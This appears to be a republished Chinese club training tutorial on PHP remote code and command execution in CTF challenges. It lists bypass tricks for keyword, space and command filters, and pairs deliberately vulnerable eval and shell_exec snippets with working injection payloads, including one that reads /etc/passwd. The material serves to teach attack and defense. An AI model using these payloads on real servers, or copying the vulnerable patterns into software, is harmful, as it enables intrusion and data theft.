【社团培训】RCE
2021/11/6 6:12:05
本文主要是介绍【社团培训】RCE,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
每月更新 1/1 嘻嘻
前置知识
代码执行(Remote Code Excution)
应用程序中提供了一些可以将字符串作为代码执行的函数,如PHP中的eval()函数,可以将函数中的参数当做PHP代码执行。如果这些函数的参数控制不严格,可能会被利用,造成任意代码执行。
命令执行(Remote Commond Excution)
应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数能被用户控制,就可能通过命令连接符将恶意命令拼接到正常函数中,从而任意执行系统命令。
相关函数
代码执行函数
eval() assert() create_function()
命令执行函数
system() passthru() exec() shell_exec() proc_open() popen() pcntl_exec() dl()
常见绕过
绕过禁止的flag
fl\ag a=fl;b=ag;cat $a$b cat `ls` cat $(ls) cat f""lag cat f* cat f??? cat ????.???
实战演示-flag被过滤的绕过
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?c=system("cat f*");
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?c=passthru ("cat f*");
查看文件命令
cat: 由第一行开始显示文件内容 tac: 从最后一行开始显示,可以看出tac是cat的倒写形式 nl: 显示的时候顺便显示行号 more: 一页一页地显示文件内容 less: 与more类似,但是比more更好的是,可以往前翻页 tail: 只看结尾几行 od: 以二进制的方式读取文件内容 /bin/c?t /etc/passwd
绕过空格
< <> %20(space) %09(tab) $IFS$9 ${IFS}
实战演示-空格绕过、cat绕过
<?php error_reporting(0); if(isset($_GET['c'])){ $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){ eval($c); } }else{ highlight_file(__FILE__); }
?c=passthru("tac%09f*");
单行多命令执行
; 执行完前面的语句再执行后面的语句 & 两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。 && 如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真 | 显示后面语句的执行结果 || 当前面的语句执行出错时,执行后面的语句 $(touch TGUCTF) 被$包裹的优先级较高 `touch TGUCTF` 在``内的会被当做命令执行
实战演示-单行多命令执行
<?php if(isset($_GET['ip'])){ $ip=$_GET['ip']; $a=shell_exec("ping -c 4 ".$ip); print_r($a); } else{ highlight_file(__FILE__); }
?ip=x;cat flag.php
实战演示-截断绕过
<?php if (isset($_GET['c'])) { $c = $_GET['c']; system($c . " >/dev/null 2>&1"); } else { highlight_file(__FILE__); } ?>
?c=cat f*%0a
这篇关于【社团培训】RCE的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-12-23DevExpress 怎么实现右键菜单(Context Menu)显示中文?-icode9专业技术文章分享
- 2024-12-22怎么通过控制台去看我的页面渲染的内容在哪个文件中呢-icode9专业技术文章分享
- 2024-12-22el-tabs 组件只被引用了一次,但有时会渲染两次是什么原因?-icode9专业技术文章分享
- 2024-12-22wordpress有哪些好的安全插件?-icode9专业技术文章分享
- 2024-12-22wordpress如何查看系统有哪些cron任务?-icode9专业技术文章分享
- 2024-12-21Svg Sprite Icon教程:轻松入门与应用指南
- 2024-12-20Excel数据导出实战:新手必学的简单教程
- 2024-12-20RBAC的权限实战:新手入门教程
- 2024-12-20Svg Sprite Icon实战:从入门到上手的全面指南
- 2024-12-20LCD1602显示模块详解